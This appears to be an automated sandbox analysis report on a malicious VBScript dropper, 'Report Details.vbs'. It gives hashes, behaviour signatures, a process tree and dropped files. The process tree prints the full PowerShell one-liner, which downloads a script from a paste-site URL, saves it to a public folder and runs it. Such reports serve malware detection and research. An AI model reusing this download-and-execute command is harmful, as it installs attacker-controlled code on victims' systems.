fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747

Resubmissions

15/04/2022, 01:59

220415-cefc7sbff3 10

14/04/2022, 17:03

220414-vknwmsdchl 10

Analysis

max time kernel
35s
max time network
46s
platform
windows7_x64
resource
win7-20220414-en
submitted
15/04/2022, 01:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

Report Details.vbs
Size

57KB
MD5

52d94e55aac61768976f39040c288eef
SHA1

e942fa64351f106b614b28e86d3a42d50e5a0443
SHA256

fcd18b069a963b01f447b35ac7f12421ac36f8c577a1f19880ea0258e0505747
SHA512

fe278c9483992b979e356ec4380182d7519d47144cf3ed9c9caaf0346c4bcb788272562f57264ac7a3a35bf67e9e36ac19ec5d5a07d9564a99360de77b72b717

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://textbin.net/raw/x6lfwhnyrz

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1836	powershell.exe
6	1836	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1836	powershell.exe
1288	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	1288	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 1836	1080	WScript.exe	28
PID 1080 wrote to memory of 1836	1080	WScript.exe	28
PID 1080 wrote to memory of 1836	1080	WScript.exe	28
PID 1836 wrote to memory of 1288	1836	powershell.exe	30
PID 1836 wrote to memory of 1288	1836	powershell.exe	30
PID 1836 wrote to memory of 1288	1836	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report Details.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -Command [System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData = $Client.DownloadData('https://textbin.net/raw/x6lfwhnyrz'); [String] $ByteToString = [System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\x6lfwhnyrz.PS1', $ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1'
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy RemoteSigned -File C:\Users\Public\x6lfwhnyrz.PS1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1288

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
5f58c89cc45c1996f2a945044abcc7ed

SHA1
19c965217fbbc20817539b77a18febf16b840608

SHA256
fa6ccb127fa37106502cae6374fdd9441b969efa44d87810737907e4c22f2d95

SHA512
0f8b02b256d41cbe2e846bd4bbdb7b04d19d2e76b4cb770e746795391c4191b6da1eca44e9b500fc2a74f01dd7fa9faf8da43e7ef7fbf4f329a9bdf137b8b0f8

Download Submit
C:\Users\Public\x6lfwhnyrz.PS1

Filesize
3B

MD5
ecaa88f7fa0bf610a5a26cf545dcd3aa

SHA1
57218c316b6921e2cd61027a2387edc31a2d9471

SHA256
f1945cd6c19e56b3c1c78943ef5ec18116907a4ca1efc40a57d48ab1db7adfc5

SHA512
37c783b80b1d458b89e712c2dfe2777050eff0aefc9f6d8beedee77807d9aeb2e27d14815cf4f0229b1d36c186bb5f2b5ef55e632b108cc41e9fb964c39b42a5

Download Submit
memory/1080-54-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp

Filesize
8KB

Download
memory/1288-65-0x000007FEF2350000-0x000007FEF2EAD000-memory.dmp

Filesize
11.4MB

Download
memory/1288-70-0x00000000022EB000-0x000000000230A000-memory.dmp

Filesize
124KB

Download
memory/1288-68-0x00000000022E4000-0x00000000022E7000-memory.dmp

Filesize
12KB

Download
memory/1288-67-0x00000000022E2000-0x00000000022E4000-memory.dmp

Filesize
8KB

Download
memory/1288-66-0x00000000022E0000-0x00000000022E2000-memory.dmp

Filesize
8KB

Download
memory/1836-58-0x0000000002390000-0x0000000002392000-memory.dmp

Filesize
8KB

Download
memory/1836-61-0x000000000239B000-0x00000000023BA000-memory.dmp

Filesize
124KB

Download
memory/1836-60-0x0000000002394000-0x0000000002397000-memory.dmp

Filesize
12KB

Download
memory/1836-59-0x0000000002392000-0x0000000002394000-memory.dmp

Filesize
8KB

Download
memory/1836-57-0x000007FEF2350000-0x000007FEF2EAD000-memory.dmp

Filesize
11.4MB

Download